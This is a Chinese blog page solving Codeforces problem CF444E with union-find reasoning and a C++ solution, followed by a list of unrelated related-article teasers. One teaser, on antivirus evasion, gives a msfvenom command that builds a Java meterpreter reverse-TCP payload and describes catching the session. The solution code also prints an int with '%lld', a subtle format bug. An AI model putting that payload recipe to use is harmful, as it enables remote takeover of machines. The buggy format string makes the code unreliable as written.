当前位置: 首页 > news >正文

与树上边权、连通块、二分块相关的问题(抓住各连通块之间的联系,考虑增量):CF444E

https://www.luogu.com.cn/problem/CF444E

首先肯定二分

然后是棵树,所以考虑按顺序枚举边权

然后肯定会有连通块和并查集

考虑现在场上有多个连通块,我们只保留大于 m i d mid mid 的边

则每个连通块都必须往外连边

一个很朴素的思路是判定每个连通块外面是否够 ∑ x i > w \sum x_i>w xi>w,看起来是错的,但其实是对的

考虑其代价和贡献,因为有 x i ≥ 1 x_i\ge 1 xi1,所以当他在外面取 w w w 走时,至少会放回 w w w 进去,满足 ∑ x i \sum x_i xi 不减

然后就完事了

然后你可以发现按顺序枚举边,判断啥时候不合法,甚至不需要二分


#include<bits/stdc++.h>
using namespace std;
//#define int long long 
inline int read(){int x=0,f=1;char ch=getchar(); while(ch<'0'||
ch>'9'){if(ch=='-')f=-1;ch=getchar();}while(ch>='0'&&ch<='9'){
x=(x<<1)+(x<<3)+(ch^48);ch=getchar();}return x*f;}
#define Z(x) (x)*(x)
#define pb push_back
//mt19937 rand(time(0));
//mt19937_64 rand(time(0));
//srand(time(0));
#define N 3010
//#define M
//#define mo
struct node {int u, v, w; 
}a[N];
int n, m, i, j, k, T, u, v, w[N], val[N], f[N], sum;int fa(int x) {if(f[x]==x) return x; return f[x]=fa(f[x]); 
}signed main()
{
//	freopen("in.txt", "r", stdin);
//	freopen("out.txt", "w", stdout);
//	T=read();
//	while(T--) {
//
//	}n=read(); for(i=1; i<n; ++i) a[i].u=read(), a[i].v=read(), a[i].w=read(); for(i=1; i<=n; ++i) f[i]=i, val[i]=read(), w[i]=1, sum+=val[i]; sort(a+1, a+n, [] (node x, node y) { return x.w<y.w; }); for(i=1; i<n; ++i) {u=fa(a[i].u); v=fa(a[i].v); f[u]=v; w[v]+=w[u]; val[v]+=val[u]; if(w[v]>sum-val[v]) return printf("%lld", a[i].w), 0; }printf("%d", a[n-1].w); return 0;
}

相关文章:

与树上边权、连通块、二分块相关的问题(抓住各连通块之间的联系,考虑增量):CF444E

https://www.luogu.com.cn/problem/CF444E 首先肯定二分 然后是棵树&#xff0c;所以考虑按顺序枚举边权 然后肯定会有连通块和并查集 考虑现在场上有多个连通块&#xff0c;我们只保留大于 m i d mid mid 的边 则每个连通块都必须往外连边 一个很朴素的思路是判定每个连…...

解决VSCode下载速度很慢

这是VSCode的官网&#xff1a; Visual Studio Code - Code Editing. Redefined 按照官网的下载链接&#xff0c;速度实在是感人&#xff01; 解决办法也很简单&#xff0c;把链接换为CDN加速的链接 把下载链接中的az764295.vo.msecnd.net 替换为&#x1f449; vscode.cdn.azu…...

悬赏算命测算源码可以用二维码收款 可以直接拿来运营

首发悬赏算命测算源码可以用二维码收款 可以直接拿来运营吸金&#xff01;用户可以通过发布悬赏赏金算命&#xff0c;也可以通过升级发布测算任务来吸金 测试环境&#xff1a;php5.6apache2.4mysq5.6 安装教程&#xff1a; 测试环境&#xff1a;php5.6apache2.4mysq5.6 安装&…...

在Linux中安装nginx-1.20.1+php-7.4.28(增加扩展)

NginxPHP安装在公网IP为x.x.x.x的服务器上 需要下载安装的软件版本&#xff1a;nginx-1.20.1php-7.4.28 需要增加的PHP扩展如下&#xff1a; 在编译安装php-7.4.28时加上的pcntl&#xff1b; 单独下载安装的Wxwork_finance_sdk&#xff1b;&#xff08;在编译安装php-7.4.2…...

使用vue-cli搭建SPA项目

一.SPA项目的构建 前提 nodeJS环境已经搭建完毕 node -v npm -v 什么是SPA项目 SPA&#xff08;Single Page Application&#xff09;项目是一种使用单页面架构的Web应用项目。在SPA项目中&#xff0c;整个应用程序只有一个HTML页面&#xff0c;通过动态加载数据和更新DOM来实…...

PLC串口通讯和通讯接口知识汇总

在使用PLC的时候会接触到很多的通讯协议以及通讯接口&#xff0c;最基本的PLC串口通讯和基本的通讯接口你都了解吗&#xff1f; 一、什么是串口通讯&#xff1f; 串口是一种接口标准&#xff0c;是计算机上一种非常通用设备通信的协议。它规定了接口的电气标准&#xff0c;没…...

Vue基础入门---详细简介

一&#xff0c;对Vue的概念 1.1 什么是Vue &#xff1f; 一种流行的JavaScript前端框架&#xff0c;用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制&#xff0c;使得数据的变化能够自动更新相关的DOM元素&#x…...

Qt重写QTreeWidget实现拖拽

介绍 此文章记录QTreeWidget的重写进度&#xff0c;暂时停滞使用&#xff0c;重写了QTreeWidget的拖拽功能&#xff0c;和绘制功能&#xff0c;自定义了数据结构&#xff0c;增加复制&#xff0c;粘贴&#xff0c;删除&#xff0c;准备实现动态刷新数据支持千万数据动态刷新&a…...

【Spring Boot】拦截器学习笔记

一、普通拦截器 1&#xff0c;新建类MyWebConfig实现WebMvcConfigurer&#xff0c;实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...

云可观测性:提升云环境中应用程序可靠性

随着云计算的兴起和广泛应用&#xff0c;越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中&#xff0c;确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案&#xff0c;针对这一需求提供了有效的方法和工具。本文将介绍…...

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…...

抖音、知乎、小红书的流量算法

目前我国网民规模已超过10亿&#xff0c;在这互联网时代&#xff0c;更是流量为王。各个平台里的每个视频、每张图片&#xff0c;背后都有着算法的身影&#xff0c;支配着所有人的流量。作为内容创作者及运营者来说&#xff0c;除了制作高质量的内容以外&#xff0c;也需要掌握…...

c++ 纯虚函数、抽象类

一、 纯虚函数 抽象类 只要有一个纯虚函数&#xff0c;这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类&#xff0c;必须要重写父类中的纯虚函数&#xff0c;否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...

echarts另外存为图片

今天同事画了个Echarts,我看了下居然有下载功能&#xff01;&#xff01;&#xff01;&#xff01;&#xff08;之前一直不知道&#xff09; 这是原图&#xff0c;右上角有个下载功能&#xff0c; 下载后是这样的 貌似是没有了y轴的参数和x轴的参数&#xff0c;估计是可以配置的…...

Mybatis返回自动递增主键值,通过实体

如果你在数据库中使用了自动递增的主键&#xff08;通常是整数类型&#xff09;&#xff0c;你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例&#xff1a; 首先&#xff0c;在你的 SQL 映射文件中&#xff0c;使用 <insert> 元素来执行插入操作…...

如何在 Excel 中求平方根

需要在 Excel 中求一个数字的平方根吗&#xff1f;使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中&#xff0c;您将学习在 Excel 中计算平方根的 5 种不同方法&#xff0c;包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...

苹果手机无法正常使用小程序和APP

小程序、APP 已使用了几年&#xff0c;突然大量反馈&#xff1a;苹果手机无法正常使用。但不是全部&#xff0c;只是部分手机。 因为同事苹果手机都能用&#xff0c;所以无法准确判断具体原因。 后来同事苹果手机也无法使用了&#xff0c;显示&#xff1a; 网上搜索结果&…...

【Axure教程】用中继器制作双坐标柱状折线图

双坐标柱状折线图常用于同时展示两组数据的图表类型&#xff0c;每组数据都有自己的纵坐标轴&#xff08;Y轴&#xff09;。一组数据通常用柱状图表示&#xff0c;而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家&#xff…...

C 风格文件输入/输出---错误处理---(std::clearerr,std::feof,std::ferror,std::perror)

C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数&#xff0c;而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...

mysql 主从复制 mysql版本5.7.35

文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤&#xff1a;主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制&#xff08;Master-Slave Replication&#xff09;是一个常用的高可用性和可扩展性解决方案。通过主从复…...

iOS“超级签名”绕过App Store作弊解决方案

一直以来&#xff0c;iOS端游戏作弊问题都是游戏行业的一大痛点。在当下游戏多端互通的潮流下&#xff0c;游戏作为一个整体&#xff0c;无论哪一端出现安全问题&#xff0c;都会造成更加严重的影响。因此&#xff0c;iOS端游戏安全保护也同样十分重要。 iOS独特的闭源生态&am…...

I2C子系统、读取温湿度的逻辑及代码

一、IIC子系统 两根线&#xff1a; scl:时钟线 sda:数据线 iic有4种信号&#xff1a; 起始信号&#xff08;start&#xff09;:scl是高电平&#xff0c;sda下降沿 终止信号&#xff08;stop&#xff09;:scl高电平&#xff0c;sda上升沿 应答信号&#xf…...

数据结构——排序

排序算法 前言一、认识排序排序的概念常见的排序算法排序实现的接口 二、常见排序算法的实现插入排序直接插入排序希尔排序 选择排序直接选择排序堆排序 交换排序冒泡排序 三、各个排序的效率比较四、完整代码演示&#xff1a;shell_insert.hshell_insert.ctest.c 总结 前言 来…...

资深java面试题及答案整理

编写 Java 程序时, 如何在 Java 中创建死锁并修复它&#xff1f; 经典但核心Java面试问题之一。 如果你没有参与过多线程并发 Java 应用程序的编码&#xff0c;你可能会失败。 如何避免 Java 线程死锁&#xff1f; 如何避免 Java 中的死锁&#xff1f;是 Java 面试的热门问题之…...

buuctf-[网鼎杯 2020 朱雀组]phpweb

1.打开网站&#xff0c;吓我一跳 2.查看源代码&#xff0c;主要看到timezone&#xff0c;然后这个页面是五秒就会刷新一次 一开始去搜了这个&#xff0c;但是没什么用 3.使用bp抓包 会发现有两个参数&#xff0c;应该是用func来执行p 4.修改func和p file_get_contents&#…...

SpringBoot实战(二十四)集成 LoadBalancer

目录 一、简介1.定义2.取代 Ribbon3.主要特点与功能4.LoadBalancer 和 OpenFeign 的关系 二、使用场景一&#xff1a;Eureka LoadBalancer服务A&#xff1a;loadbalancer-consumer 消费者1.Maven依赖2.application.yml配置3.RestTemplateConfig.java4.DemoController.java 服务…...

文件挂载nas挂载

准备资源 nas服务器&#xff1a; 192.168.1.2 分配的nas卷名&#xff1a; mynasvolumename 在本地机器挂载nas卷 mkdir -p /mnt/localmountdir 执行挂载 mount -t nfs 192.168.1.2:mynasvolumename/ /mnt/localmountdir 本地进入nas目录 cd /mnt/localmountdir 可以…...

电影格式怎么转换mp4?电影格式转换教程

电影格式怎么转换mp4&#xff1f;平时喜欢看电影的小伙伴都知道&#xff0c;平时我们下载到的电影文件格式可谓是五花八门&#xff0c;如Mp4、Flv、AVI、WMV、MKV、MOV等。然而&#xff0c;相较于其他常用格式&#xff0c;MP4是一种使用最为广泛的视频格式&#xff0c;并且文件…...

HarmonyOS之 组件的使用

一 容器 1.1 容器分类 Column表示沿垂直方向布局的容器。Row表示沿水平方向布局的容器。 1.2 主轴和交叉轴 主轴&#xff1a;在Column容器中的子组件是按照从上到下的垂直方向布局的&#xff0c;其主轴的方向是垂直方向&#xff1b;在Row容器中的组件是按照从左到右的水平方向…...

IAM:身份验证与授权

身份验证和授权可能听起来相似&#xff0c;但在核心功能方面它们是不同的。身份验证和授权是在用户尝试访问其资源时执行的安全过程。身份验证和授权在防止网络安全漏洞和加强组织的安全系统方面发挥着至关重要的作用。 验证&#xff1a;验证用户的身份 - 用户是谁&#xff1f…...

怎么开发网站程序/咸阳网络推广

在一个奢华浪费的年代&#xff0c;我希望能向世界表明&#xff0c;人类真正需要的的东西是非常之微少的。 ——海明威 互联网发展速度是非常快的&#xff0c;程序员用的前端框架也在不断的迭代和变化&#xff0c;以前大家常用的是JQuery、Bootstrap框架&#xff0c;现在形成R…...

山东搜点网站建设/友情链接交换

问题描述 在某个线上网站&#xff0c;电商网站&#xff0c;当进入确定订单页面&#xff0c;填写买家留言以后&#xff0c;页面跳转到订单支付页面&#xff0c;下面的fixed定位的支付按钮就会消失&#xff0c;该问题烦恼了很久&#xff0c;于是。。 百度之&#xff1a; 这几天…...

杭州高瑞网站建设/seo优化裤子关键词

为什么80%的码农都做不了架构师&#xff1f;>>> 按照NetBeans6.5最快安装方法安装NetBeas6.5成功后&#xff0c;NetBeans使用操作系统默认的语言&#xff0c;如果是中文版的操作系统&#xff0c;则使用中文版。如果你想使用英文版的NetBeans&#xff0c;在它本身的…...

泉州企业做网站/seo顾问合同

1.插件介绍 activate-power-mode插件。 根据Atom的插件activate-power-mode的效果移植到IDEA上。 效果如下图&#xff1a; 2.安装方式 第一种方式&#xff0c;是在IDEA上搜索插件进行安装&#xff0c;会适配当前IDEA的版本。 第二种安装方式是使用离线插件进行安装。 插件…...

机械公司网站源码/sem专员

整理 | WA出品 |程序员研修院继快手、字节后&#xff0c;又一家企业取消大小周8月17日&#xff0c;BOSS直聘宣布将从2021年9月1日起取消“大小周”&#xff0c;恢复双休&#xff0c;员工薪资中的“周末加班费”正常发出&#xff0c;薪资总额不变。发布时长不到两小时&#xff…...

湛江住房和城乡建设局网站/百家号seo

注&#xff1a;C#语言发展十分迅速&#xff0c;而且仍然有很大的提升空间&#xff0c;所以现在写下的有关C#语言上的一些限制&#xff0c;可能过一两年就不同了&#xff0c;所以需要不断更新。至于C&#xff0c;因为已经很久没怎么变动&#xff0c;所以就容易得多。 (*) 允许初…...